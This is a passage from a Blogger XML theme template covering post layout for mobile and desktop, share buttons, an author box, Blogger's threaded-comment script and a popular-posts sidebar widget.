1553 <b:if cond='data:top.showTimestamp'>
1554 <b:if cond='data:post.url'>
1555 <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
1556 <span class='time-info'>
1557 <i class='fa fa-calendar'/>
1558 <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'>
1559 <abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'>
1560 <data:post.timestamp/>
1561 </abbr>
1562 </a>
1563 </span>
1564 </b:if>
1565 </b:if>
1566 <b:if cond='data:blog.pageType != "item"'>
1567 <b:if cond='data:blog.pageType != "static_page"'>
1568 <b:if cond='data:post.allowComments'>
1569 <span class='comment-info'>
1570 <i class='fa fa-comments'/>
1571 <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
1572 <b:if cond='data:post.numComments == 0'>
1573 Add Comment
1574 </b:if>
1575 <b:if cond='data:post.numComments == 1'>
1576 1 Comment
1577 </b:if>
1578 <b:if cond='data:post.numComments > 1'>
1579 <data:post.numComments/>
1580 Comments
1581 </b:if>
1582 </a>
1583 </span>
1584 </b:if>
1585 </b:if>
1586 </b:if>
1587 </div>
1588 </div>
1589 </div>
1590 <div style='clear: both;'/>
1591 </div>
1592 </div>
1593 </b:includable>
1594 <b:includable id='mobile-main' var='top'>
1595 <!-- posts -->
1596 <div class='blog-posts hfeed'>
1597 <b:include data='top' name='status-message'/>
1598 <b:if cond='data:blog.pageType == "index"'>
1599 <b:loop values='data:posts' var='post'>
1600 <b:include data='post' name='mobile-index-post'/>
1601 </b:loop>
1602 <b:else/>
1603 <b:loop values='data:posts' var='post'>
1604 <b:include data='post' name='mobile-post'/>
1605 </b:loop>
1606 </b:if>
1607 </div>
1608 <b:include name='mobile-nextprev'/>
1609 </b:includable>
1610 <b:includable id='mobile-nextprev'>
1611 <!-- MOBILE PAGE NAVIGATION LINKS HERE -->
1612 <div class='blog-pager' id='blog-pager'>
1613 <b:if cond='data:newerPageUrl'>
1614 <div class='mobile-link-button' id='blog-pager-newer-link'>
1615 <a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'>
1616 &lsaquo;
1617 </a>
1618 </div>
1619 </b:if>
1620 <b:if cond='data:olderPageUrl'>
1621 <div class='mobile-link-button' id='blog-pager-older-link'>
1622 <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'>
1623 &rsaquo;
1624 </a>
1625 </div>
1626 </b:if>
1627 <div class='mobile-link-button' id='blog-pager-home-link'>
1628 <a class='home-link' expr:href='data:blog.homepageUrl'>
1629 <data:homeMsg/>
1630 </a>
1631 </div>
1632 <div class='mobile-desktop-link'>
1633 <a class='home-link' expr:href='data:desktopLinkUrl'>
1634 <data:desktopLinkMsg/>
1635 </a>
1636 </div>
1637 </div>
1638 <div class='clear'/>
1639 </b:includable>
1640 <b:includable id='mobile-post' var='post'>
1641 <!-- MOBILE ITEM POST HERE -->
1642 <div class='date-outer'>
1643 <div class='date-posts'>
1644 <div class='post-outer'>
1645 <div class='post hentry uncustomized-post-template' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
1646 <b:if cond='data:post.thumbnailUrl'>
1647 <meta expr:content='data:post.thumbnailUrl' itemprop='image_url'/>
1648 </b:if>
1649 <meta expr:content='data:blog.blogId' itemprop='blogId'/>
1650 <meta expr:content='data:post.id' itemprop='postId'/>
1651 <a expr:name='data:post.id'/>
1652 <b:if cond='data:post.title'>
1653 <h3 class='mobile-post-title entry-title' itemprop='headline'>
1654 <b:if cond='data:post.link'>
1655 <a expr:href='data:post.link'>
1656 <data:post.title/>
1657 </a>
1658 <b:else/>
1659 <b:if cond='data:post.url'>
1660 <b:if cond='data:blog.url != data:post.url'>
1661 <a expr:href='data:post.url'>
1662 <data:post.title/>
1663 </a>
1664 <b:else/>
1665 <data:post.title/>
1666 </b:if>
1667 <b:else/>
1668 <data:post.title/>
1669 </b:if>
1670 </b:if>
1671 </h3>
1672 </b:if>
1673 <div class='post-header'>
1674 <div class='post-header-line-1'/>
1675 </div>
1676 <div class='post-info' style='margin-bottom:15px;'>
1677 <b:if cond='data:top.showAuthor'>
1678 <b:if cond='data:post.authorProfileUrl'>
1679 <span class='author-info'>
1680 By
1681 <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
1682 <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
1683 <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
1684 <span itemprop='name'>
1685 <data:post.author/>
1686 </span>
1687 </a>
1688 </span>
1689 </span>
1690 <b:else/>
1691 <span class='author-info'>
1692 <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
1693 <span itemprop='name'>
1694 <data:post.author/>
1695 </span>
1696 </span>
1697 </span>
1698 </b:if>
1699 </b:if>
1700 <b:if cond='data:top.showTimestamp'>
1701 <b:if cond='data:post.url'>
1702 <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
1703 <span class='time-info'>
1704 <i class='fa fa-calendar'/>
1705 <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'>
1706 <abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'>
1707 <data:post.timestamp/>
1708 </abbr>
1709 </a>
1710 </span>
1711 </b:if>
1712 </b:if>
1713 <b:if cond='data:blog.pageType != "item"'>
1714 <b:if cond='data:blog.pageType != "static_page"'>
1715 <b:if cond='data:post.allowComments'>
1716 <span class='comment-info'>
1717 <i class='fa fa-comments'/>
1718 <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
1719 <b:if cond='data:post.numComments == 0'>
1720 Add Comment
1721 </b:if>
1722 <b:if cond='data:post.numComments == 1'>
1723 1 Comment
1724 </b:if>
1725 <b:if cond='data:post.numComments > 1'>
1726 <data:post.numComments/>
1727 Comments
1728 </b:if>
1729 </a>
1730 </span>
1731 </b:if>
1732 </b:if>
1733 </b:if>
1734 </div>
1735 <div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='articleBody'>
1736 <!-- IKLAN BAWAH JUDUL VERSI MOBILE -->
1737 <data:post.body/>
1738 <div style='clear: both;'/>
1739 <div id='share-buttons-mobile'>
1740 <p>
1741 Share :
1742 </p>
1743 <a expr:href='"http://www.facebook.com/sharer.php?u=" + data:blog.url' rel='nofollow' style='background:#3b5998;'>
1744 Facebook
1745 </a>
1746 <a expr:href='"http://plus.google.com/share?url=" + data:blog.url' rel='nofollow' style='background:#c0361a;'>
1747 Google+
1748 </a>
1749 <a expr:href='"https://twitter.com/intent/tweet?url=" + data:blog.url + "&text=" + data:post.title + "&lang=id"' rel='nofollow' style='background:#4099ff;'>
1750 Twitter
1751 </a>
1752 <div class='clear'/>
1753 </div>
1754 <div id='related-posts-mobile'>
1755 <h3>
1756 Related Posts :
1757 </h3>
1758 <b:loop values='data:post.labels' var='label'>
1759 <b:if cond='data:label.isLast != "true"'/>
1760 <b:if cond='data:blog.pageType == "item"'>
1761 <script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&callback=related_results_labels&max-results=5"' type='text/javascript'/>
1762 </b:if>
1763 </b:loop>
1764 <script type='text/javascript'>
1765 removeRelatedDuplicates(); printRelatedLabels(); </script>
1766 </div>
1767 </div>
1768 </div>
1769 <b:if cond='data:blog.pageType == "static_page"'>
1770 <b:include data='post' name='comment_picker'/>
1771 </b:if>
1772 <b:if cond='data:blog.pageType == "item"'>
1773 <b:include data='post' name='comment_picker'/>
1774 </b:if>
1775 </div>
1776 </div>
1777 </div>
1778 </b:includable>
1779 <b:includable id='nextprev'>
1780 <div class='blog-pager' id='blog-pager'>
1781 <b:if cond='data:newerPageUrl'>
1782 <span id='blog-pager-newer-link'>
1783 <a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'>
1784 <data:newerPageTitle/>
1785 </a>
1786 </span>
1787 </b:if>
1788 <b:if cond='data:olderPageUrl'>
1789 <span id='blog-pager-older-link'>
1790 <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'>
1791 <data:olderPageTitle/>
1792 </a>
1793 </span>
1794 </b:if>
1795 <a class='home-link' expr:href='data:blog.homepageUrl'>
1796 <data:homeMsg/>
1797 </a>
1798 <b:if cond='data:mobileLinkUrl'>
1799 <div class='blog-mobile-link'>
1800 <a expr:href='data:mobileLinkUrl'>
1801 <data:mobileLinkMsg/>
1802 </a>
1803 </div>
1804 </b:if>
1805 </div>
1806 <div class='clear'/>
1807 </b:includable>
1808 <b:includable id='post' var='post'>
1809 <div class='sjps entry-content'>
1810 <b:if cond='data:blog.pageType == "item"'>
1811 <div class='category-title'>
1812 <div class='aisa-btn'>
1813 <b:if cond='data:post.labels'>
1814 <b:loop values='data:post.labels' var='label'>
1815 <a expr:href='data:label.url' property='v:title' rel='v:url'><data:label.name/></a>
1816 </b:loop>
1817 <b:else/>
1818 </b:if>
1819 </div>
1820 </div>
1821 </b:if>
1822
1823 <b:if cond='data:blog.pageType == "item"'>
1824 <b:if cond='data:post.title'>
1825 <div style='text-align: center;'>
1826 <h5 align='center' class='tc-title tc-title-center' style='margin-bottom: 0;'>
1827 <b:if cond='data:post.link'>
1828 <a expr:href='data:post.link'><data:post.title/></a>
1829 <b:else/>
1830 <b:if cond='data:post.url'>
1831 <b:if cond='data:blog.url != data:post.url'>
1832 <a expr:href='data:post.url'><data:post.title/></a>
1833 <b:else/>
1834 <data:post.title/>
1835 </b:if>
1836 <b:else/>
1837 <data:post.title/>
1838 </b:if>
1839 </b:if>
1840 </h5>
1841 </div>
1842 </b:if></b:if>
1843
1844
1845 <div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='description articleBody'>
1846 <div class='entry-title'>
1847 <b:if cond='data:blog.pageType != "item"'>
1848 <b:if cond='data:blog.pageType != "static_page"'>
1849 <h3 align='center' itemprop='name' style='display:none;'>
1850 <b:if cond='data:post.url'>
1851 <b:if cond='data:blog.url != data:post.url'>
1852 <a expr:href='data:post.url'><data:post.title/></a>
1853 <b:else/>
1854 <data:post.title/>
1855 </b:if>
1856 <b:else/>
1857 <data:post.title/>
1858 </b:if>
1859 </h3>
1860 <b:else/>
1861 <b:if cond='data:blog.pageType == "static_page"'>
1862 <h1 class='static-title'><data:post.title/></h1></b:if>
1863 </b:if></b:if>
1864 </div>
1865
1866
1867 <b:if cond='data:blog.pageType == "item"'>
1868 <data:post.body/>
1869 <b:else/>
1870 <b:if cond='data:blog.pageType == "static_page"'>
1871 <data:post.body/>
1872 <b:else/>
1873 <div class='body-post'>
1874 <b:if cond='data:blog.pageType == "index"'>
1875 <span expr:id='"p" + data:post.id'><data:post.body/></span>
1876 <script type='text/javascript'>var x="<data:post.title/>",y="<data:post.url/>",z="<data:post.author/>",t="<data:post.timestamp/>";readmore("p<data:post.id/>")</script><b:else/><data:post.body/>
1877
1878 <b:else/>
1879 <div class='entry-container'>
1880 <div class='entry-content'><h1><b:if cond='data:post.link'><a expr:href='data:post.link' expr:title='data:post.title'><data:post.title/></a><b:else/><data:post.title/></b:if></h1><data:post.body/></div></div></b:if></div></b:if></b:if>
1881 <div style='clear: both;'/> <!-- clear for photos floats -->
1882 </div>
1883
1884
1885 <div class='metabypost' style='display:none;'>
1886 <span><data:post.title/></span>
1887 <img expr:alt='data:post.title' expr:src='data:post.thumbnailUrl'/>
1888 <span><data:post.author/></span>
1889 <data:post.timestamp/>
1890 <span expr:title='data:post.timestamp'/>
1891 </div>
1892
1893
1894
1895 <b:if cond='data:blog.pageType == "item"'>
1896 <div class='post-footer'>
1897 <span class='group' id='post-tags'><span id='tags-name'>Tags: </span><b:if cond='data:post.labels'>
1898 <b:loop values='data:post.labels' var='label'>
1899 <a expr:href='data:label.url' rel='tag'>
1900 <data:label.name/>
1901 </a>
1902 <b:if cond='data:label.isLast != "true"'/>
1903 </b:loop>
1904 </b:if></span>
1905 <ul class='single-share social-pop group'>
1906 <li><a expr:data-text='data:post.title' expr:data-via='data:blog.title' expr:href='"http://twitter.com/share?url=" + data:post.url + "&title=" + data:post.title' onclick='window.open(this.href, 'windowName', 'width=550, height=600, left=24, top=24, scrollbars, resizable'); return false;' rel='nofollow'><i class='fa fa-twitter'/></a></li>
1907 <li><a expr:href='"http://www.facebook.com/sharer.php?u=" + data:post.url + "&title="+ data:post.title' onclick='window.open(this.href, 'windowName', 'width=550, height=600, left=24, top=24, scrollbars, resizable'); return false;' rel='nofollow'><i class='fa fa-facebook'/></a></li>
1908 <li><a expr:href='"https://plus.google.com/u/0/share?url=" + data:post.url' onclick='window.open(this.href, 'windowName', 'width=550, height=600, left=24, top=24, scrollbars, resizable'); return false;' rel='nofollow'><i class='fa fa-google-plus'/></a></li>
1909 <li><a expr:href='"http://pinterest.com/pin/create/button/?url=" + data:post.url + "&media=" + data:post.thumbnailUrl + "&description=" + data:post.snippet' onclick='window.open(this.href, 'windowName', 'width=550, height=600, left=24, top=24, scrollbars, resizable'); return false;' rel='nofollow'><i class='fa fa-pinterest'/></a></li>
1910 </ul>
1911 </div>
1912 </b:if>
1913 </div>
1914
1915 <b:if cond='data:blog.pageType == "item"'>
1916 <!-- Author -->
1917 <div class='aisa-author'>
1918 <div class='aisa-author-info'>
1919 <div class='author-avatar'>
1920 <script type='text/javascript'>
1921 //<![CDATA[
1922 function av(a) {
1923 var b = a.entry.author[0];
1924 c = b.name.$t;
1925 d = b.gd$image.src.replace(/\/s[0-9]+(-*c*)\//, "/s107$1/");
1926 document.write('<img alt="' + c + '" src="' + d + '" title="' + c + '" avatar avatar-91 photo" height="91" width="91"/>')
1927 };
1928 //]]>
1929 </script>
1930 <a href='#'> <script expr:src='"/feeds/posts/default/" + data:post.id + "?alt=json-in-script&amp;callback=av"'/> </a>
1931 </div>
1932 <div class='author-content'> <a class='author-name' expr:href='data:post.authorProfileUrl' expr:title='data:post.author' rel='author'>
1933 <data:post.author/>
1934 </a>
1935 <!-- A_Bio -->
1936 <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna Veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p>
1937 </div>
1938 </div>
1939 <!-- A_Social_Links -->
1940 <ul class='social'>
1941 <li><a href='http://twitter.com' target='_blank'><i aria-hidden='true' class='fa fa-twitter'/></a>
1942 </li>
1943 <li><a href='http://facebook.com' target='_blank'><i aria-hidden='true' class='fa fa-facebook'/></a>
1944 </li>
1945 <li><a href='http://instagram.com' target='_blank'><i aria-hidden='true' class='fa fa-instagram'/></a>
1946 </li>
1947 <li><a href='http://pinterest.com' target='_blank'><i aria-hidden='true' class='fa fa-pinterest'/></a>
1948 </li>
1949 <li><a href='http://g-plus.com' target='_blank'><i aria-hidden='true' class='fa fa-google-plus'/></a>
1950 </li>
1951 <li><a href='http://youtube.com' target='_blank'><i aria-hidden='true' class='fa fa-youtube'/></a>
1952 </li>
1953 </ul>
1954 </div>
1955
1956
1957
1958 </b:if>
1959
1960
1961
1962 </b:includable>
1963 <b:includable id='post-404'>
1964 <div class='post-404'>
1965 <div class='actions-404'>
1966 <div class='ops-404'><span>Ops;</span> Sorry, but the page you were trying to view does not exist.
1967 </div>
1968 <div class='title-404'>404</div>
1969 <div class='link-404'>
1970 <a href='/'><i class='fa fa-car'/> <trans>Back to Home</trans></a>
1971 </div></div>
1972 </div>
1973 </b:includable>
1974 <b:includable id='postQuickEdit' var='post'>
1975 <b:if cond='data:post.editUrl'>
1976 <span expr:class='"item-control " + data:post.adminClass'>
1977 <a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
1978 <!-- <img alt='' class='icon-action' height='18' src='http://img2.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> -->
1979 <b style='color:#2A3744;'>
1980 <i class='fa fa-pencil'/>
1981 Edit
1982 </b>
1983 </a>
1984 </span>
1985 </b:if>
1986 </b:includable>
1987 <b:includable id='shareButtons' var='post'>
1988 <b:if cond='data:top.showEmailButton'>
1989 <a class='goog-inline-block share-button sb-email' expr:href='data:post.sharePostUrl + "&target=email"' expr:title='data:top.emailThisMsg' target='_blank'>
1990 <span class='share-button-link-text'>
1991 <data:top.emailThisMsg/>
1992 </span>
1993 </a>
1994 </b:if>
1995 <b:if cond='data:top.showBlogThisButton'>
1996 <a class='goog-inline-block share-button sb-blog' expr:href='data:post.sharePostUrl + "&target=blog"' expr:onclick='"window.open(this.href, \"_blank\", \"height=270,width=475\"); return false;"' expr:title='data:top.blogThisMsg' target='_blank'>
1997 <span class='share-button-link-text'>
1998 <data:top.blogThisMsg/>
1999 </span>
2000 </a>
2001 </b:if>
2002 <b:if cond='data:top.showTwitterButton'>
2003 <a class='goog-inline-block share-button sb-twitter' expr:href='data:post.sharePostUrl + "&target=twitter"' expr:title='data:top.shareToTwitterMsg' target='_blank'>
2004 <span class='share-button-link-text'>
2005 <data:top.shareToTwitterMsg/>
2006 </span>
2007 </a>
2008 </b:if>
2009 <b:if cond='data:top.showFacebookButton'>
2010 <a class='goog-inline-block share-button sb-facebook' expr:href='data:post.sharePostUrl + "&target=facebook"' expr:onclick='"window.open(this.href, \"_blank\", \"height=430,width=640\"); return false;"' expr:title='data:top.shareToFacebookMsg' target='_blank'>
2011 <span class='share-button-link-text'>
2012 <data:top.shareToFacebookMsg/>
2013 </span>
2014 </a>
2015 </b:if>
2016 <b:if cond='data:top.showOrkutButton'>
2017 <a class='goog-inline-block share-button sb-orkut' expr:href='data:post.sharePostUrl + "&target=orkut"' expr:title='data:top.shareToOrkutMsg' target='_blank'>
2018 <span class='share-button-link-text'>
2019 <data:top.shareToOrkutMsg/>
2020 </span>
2021 </a>
2022 </b:if>
2023 <b:if cond='data:top.showDummy'>
2024 <div class='goog-inline-block dummy-container'>
2025 <data:post.dummyTag/>
2026 </div>
2027 </b:if>
2028 </b:includable>
2029 <b:includable id='status-message'>
2030 <b:if cond='data:navMessage'>
2031 <div class='status-msg-wrap'>
2032 <div class='status-msg-body'>
2033 <data:navMessage/>
2034 </div>
2035 <div class='status-msg-border'>
2036 <div class='status-msg-bg'>
2037 <div class='status-msg-hidden'>
2038 <data:navMessage/>
2039 </div>
2040 </div>
2041 </div>
2042 </div>
2043 <div style='clear: both;'/>
2044 </b:if>
2045 </b:includable>
2046 <b:includable id='threaded-comment-form' var='post'>
2047 <div class='comment-form'>
2048 <a name='comment-form'/>
2049 <b:if cond='data:mobile'>
2050 <div class='pesan-komentar'>
2051 <p>
2052 <data:blogCommentMessage/>
2053 </p>
2054 </div>
2055 <data:blogTeamBlogMessage/>
2056 <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
2057 <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
2058 <b:else/>
2059 <div class='pesan-komentar'>
2060 <p>
2061 <data:blogCommentMessage/>
2062 </p>
2063 </div>
2064 <data:blogTeamBlogMessage/>
2065 <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
2066 <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' width='100%'/>
2067 </b:if>
2068 <data:post.friendConnectJs/>
2069 <data:post.cmtfpIframe/>
2070 <script type='text/javascript'>
2071 BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>', '<data:post.communityId/>');
2072 </script>
2073 </div>
2074 </b:includable>
2075 <b:includable id='threaded_comment_js' var='post'>
2076 <script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
2077 <script type='text/javascript'>
2078 (function() {
2079 var items = <data:post.commentJso/>;
2080 var msgs = <data:post.commentMsgs/>;
2081 var config = <data:post.commentConfig/>;
2082 // <![CDATA[
2083 var cursor = null;
2084 if (items && items.length > 0) {
2085 cursor = parseInt(items[items.length - 1].timestamp) + 1;
2086 }
2087 var bodyFromEntry = function(entry) {
2088 if (entry.gd$extendedProperty) {
2089 for (var k in entry.gd$extendedProperty) {
2090 if (entry.gd$extendedProperty[k].name == 'blogger.contentRemoved') {
2091 return '<span class="deleted-comment">' + entry.content.$t + '</span>';
2092 }
2093 }
2094 }
2095 return entry.content.$t;
2096 }
2097 var parse = function(data) {
2098 cursor = null;
2099 var comments = [];
2100 if (data && data.feed && data.feed.entry) {
2101 for (var i = 0, entry; entry = data.feed.entry[i]; i++) {
2102 var comment = {};
2103 // comment ID, parsed out of the original id format
2104 var id = /blog-(\d+).post-(\d+)/.exec(entry.id.$t);
2105 comment.id = id ? id[2] : null;
2106 comment.body = bodyFromEntry(entry);
2107 comment.timestamp = Date.parse(entry.published.$t) + '';
2108 if (entry.author && entry.author.constructor === Array) {
2109 var auth = entry.author[0];
2110 if (auth) {
2111 comment.author = {
2112 name: (auth.name ? auth.name.$t : undefined),
2113 profileUrl: (auth.uri ? auth.uri.$t : undefined),
2114 avatarUrl: (auth.gd$image ? auth.gd$image.src : undefined)
2115 };
2116 }
2117 }
2118 if (entry.link) {
2119 if (entry.link[2]) {
2120 comment.link = comment.permalink = entry.link[2].href;
2121 }
2122 if (entry.link[3]) {
2123 var pid = /.*comments\/default\/(\d+)\?.*/.exec(entry.link[3].href);
2124 if (pid && pid[1]) {
2125 comment.parentId = pid[1];
2126 }
2127 }
2128 }
2129 comment.deleteclass = 'item-control blog-admin';
2130 if (entry.gd$extendedProperty) {
2131 for (var k in entry.gd$extendedProperty) {
2132 if (entry.gd$extendedProperty[k].name == 'blogger.itemClass') {
2133 comment.deleteclass += ' ' + entry.gd$extendedProperty[k].value;
2134 } else if (entry.gd$extendedProperty[k].name == 'blogger.displayTime') {
2135 comment.displayTime = entry.gd$extendedProperty[k].value;
2136 }
2137 }
2138 }
2139 comments.push(comment);
2140 }
2141 }
2142 return comments;
2143 };
2144 var paginator = function(callback) {
2145 if (hasMore()) {
2146 var url = config.feed + '?alt=json&v=2&orderby=published&reverse=false&max-results=50';
2147 if (cursor) {
2148 url += '&published-min=' + new Date(cursor).toISOString();
2149 }
2150 window.bloggercomments = function(data) {
2151 var parsed = parse(data);
2152 cursor = parsed.length < 50 ? null
2153 : parseInt(parsed[parsed.length - 1].timestamp) + 1
2154 callback(parsed);
2155 window.bloggercomments = null;
2156 }
2157 url += '&callback=bloggercomments';
2158 var script = document.createElement('script');
2159 script.type = 'text/javascript';
2160 script.src = url;
2161 document.getElementsByTagName('head')[0].appendChild(script);
2162 }
2163 };
2164 var hasMore = function() {
2165 return !!cursor;
2166 };
2167 var getMeta = function(key, comment) {
2168 if ('iswriter' == key) {
2169 var matches = !!comment.author
2170 && comment.author.name == config.authorName
2171 && comment.author.profileUrl == config.authorUrl;
2172 return matches ? 'true' : '';
2173 } else if ('deletelink' == key) {
2174 return config.baseUri + '/delete-comment.g?blogID='
2175 + config.blogId + '&postID=' + comment.id;
2176 } else if ('deleteclass' == key) {
2177 return comment.deleteclass;
2178 }
2179 return '';
2180 };
2181 var replybox = null;
2182 var replyUrlParts = null;
2183 var replyParent = undefined;
2184 var onReply = function(commentId, domId) {
2185 if (replybox == null) {
2186 // lazily cache replybox, and adjust to suit this style:
2187 replybox = document.getElementById('comment-editor');
2188 if (replybox != null) {
2189 replybox.height = '250px';
2190 replybox.style.display = 'block';
2191 replyUrlParts = replybox.src.split('#');
2192 }
2193 }
2194 if (replybox && (commentId !== replyParent)) {
2195 document.getElementById(domId).insertBefore(replybox.parentNode, null);
2196 replybox.src = replyUrlParts[0]
2197 + (commentId ? '&parentID=' + commentId : '')
2198 + '#' + replyUrlParts[1];
2199 replyParent = commentId;
2200 }
2201 };
2202 var hash = (window.location.hash || '#').substring(1);
2203 var startThread, targetComment;
2204 if (/^comment-form_/.test(hash)) {
2205 startThread = hash.substring('comment-form_'.length);
2206 } else if (/^c[0-9]+$/.test(hash)) {
2207 targetComment = hash.substring(1);
2208 }
2209 // Configure commenting API:
2210 var configJso = {
2211 'maxDepth': config.maxThreadDepth
2212 };
2213 var provider = {
2214 'id': config.postId,
2215 'data': items,
2216 'loadNext': paginator,
2217 'hasMore': hasMore,
2218 'getMeta': getMeta,
2219 'onReply': onReply,
2220 'rendered': true,
2221 'initComment': targetComment,
2222 'initReplyThread': startThread,
2223 'config': configJso,
2224 'messages': msgs
2225 };
2226 var render = function() {
2227 if (window.goog && window.goog.comments) {
2228 var holder = document.getElementById('comment-holder');
2229 window.goog.comments.render(holder, provider);
2230 }
2231 };
2232 // render now, or queue to render when library loads:
2233 if (window.goog && window.goog.comments) {
2234 render();
2235 } else {
2236 window.goog = window.goog || {};
2237 window.goog.comments = window.goog.comments || {};
2238 window.goog.comments.loadQueue = window.goog.comments.loadQueue || [];
2239 window.goog.comments.loadQueue.push(render);
2240 }
2241 })();
2242 // ]]>
2243 </script>
2244 </b:includable>
2245 <b:includable id='threaded_comments' var='post'>
2246 <div id='top-comment'>
2247
2248 <div class='widget2' id='top-comment1'>
2249
2250 <div class='centerare1'>
2251
2252 <div class='comments' id='comments'>
2253 <a name='comments'/>
2254 <div class='komhead'>
2255 <h4>
2256 <b:if cond='data:post.numComments == 1'>
2257 1 <data:commentLabel/>:
2258 <b:else/>
2259 <data:post.numComments/> <data:commentLabelPlural/>:
2260 </b:if>
2261 </h4>
2262 <div class='stripe-line'/>
2263 </div>
2264 <div class='comments-content'>
2265 <b:if cond='data:post.embedCommentForm'>
2266 <b:include data='post' name='threaded_comment_js'/>
2267 </b:if>
2268 <div id='comment-holder'>
2269 <data:post.commentHtml/>
2270 </div>
2271 </div>
2272
2273 <p class='comment-footer'>
2274 <b:if cond='data:post.allowNewComments'>
2275 <b:include data='post' name='threaded-comment-form'/>
2276 <b:else/>
2277 <data:post.noNewCommentsText/>
2278 </b:if>
2279 </p>
2280
2281 <b:if cond='data:showCmtPopup'>
2282 <div id='comment-popup'>
2283 <iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
2284 </iframe>
2285 </div>
2286 </b:if>
2287
2288 <div id='backlinks-container'>
2289 <div expr:id='data:widget.instanceId + "_backlinks-container"'>
2290 <b:if cond='data:post.showBacklinks'>
2291 <b:include data='post' name='backlinks'/>
2292 </b:if>
2293 </div>
2294 </div>
2295 </div>
2296
2297 </div>
2298
2299 </div>
2300
2301
2302
2303 </div>
2304
2305 <div style='clear: both;'/>
2306 </b:includable>
2307 </b:widget>
2308 </b:section>
2309 </div><!-- /main-wrapper -->
2310
2311 <div class='sidebar-wrapper'>
2312 <b:section class='sidebar' id='sidebar' showaddelement='yes'>
2313 <b:widget id='PopularPosts1' locked='false' title='Popular Posts' type='PopularPosts' version='1'>
2314 <b:widget-settings>
2315 <b:widget-setting name='numItemsToShow'>3</b:widget-setting>
2316 <b:widget-setting name='showThumbnails'>true</b:widget-setting>
2317 <b:widget-setting name='showSnippets'>false</b:widget-setting>
2318 <b:widget-setting name='timeRange'>LAST_YEAR</b:widget-setting>
2319 </b:widget-settings>
2320 <b:includable id='main'>
2321 <b:if cond='data:title'><h2><data:title/></h2></b:if>
2322 <div class='widget-content popular-posts'>
2323 <ul>
2324 <b:loop values='data:posts' var='post'>
2325 <li>
2326 <b:if cond='data:showThumbnails == "false"'>
2327 <b:if cond='data:showSnippets == "false"'>
2328 <!-- (1) No snippet/thumbnail -->
2329 <a expr:href='data:post.href'><data:post.title/></a>
2330 <b:else/>
2331 <!-- (2) Show only snippets -->
2332 <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
2333 <div class='item-snippet'><data:post.snippet/></div>
2334 </b:if>
2335 <b:else/>
2336 <b:if cond='data:showSnippets == "false"'>
2337 <!-- (3) Show only thumbnails -->
2338 <div class='item-thumbnail-only'>
2339 <b:if cond='data:post.thumbnail'>
2340 <div class='item-thumbnail'>
2341 <a expr:href='data:post.href' target='_blank'>
2342 <img alt='' border='0' expr:height='data:thumbnailSize' expr:src='data:post.thumbnail' expr:width='data:thumbnailSize'/>
2343 </a>
2344 </div>
2345 </b:if>
2346 <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
2347 </div>
2348 <div style='clear: both;'/>
2349 <b:else/>
2350 <!-- (4) Show snippets and thumbnails -->
2351 <div class='item-content'>
2352 <b:if cond='data:post.thumbnail'>
2353 <div class='item-thumbnail'>
2354 <a expr:href='data:post.href' target='_blank'>
2355 <img alt='' border='0' expr:height='data:thumbnailSize' expr:src='data:post.thumbnail' expr:width='data:thumbnailSize'/>
2356 </a>
2357 </div>
2358 </b:if>
2359 <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
2360 <div class='item-snippet'><data:post.snippet/></div>
2361 </div>
2362 <div style='clear: both;'/>
2363 </b:if>
2364 </b:if>
2365 </li>
2366 </b:loop>
2367 </ul>
2368 <b:include name='quickedit'/>
2369 </div>
2370 </b:includable>
2371 </b:widget>
2372 <b:widget id='ReportAbuse1' locked='false' title='' type='ReportAbuse'>
2373 <b:includable id='main'>
2374 <b:include name='reportAbuse'/>
2375</b:includable>
2376 </b:widget>
2377 </b:section>
2378
2379 </div><!-- /sidebar-wrapper -->
2380 <div class='clr'/>
2381
2382 <!-- END SINGLE WORK DESIGN AREA -->
2383 </div>
2384 </div>
2385 </div>
2386 </div>
2387
2388
2389
2390 <!-- ====== Contact ====== -->
2391 <div class='section contacts align-left' id='contact-section'>
2392 <div class='fw'>
2393 <div class='titles'>
2394 <div class='title'>Contact Me :</div>
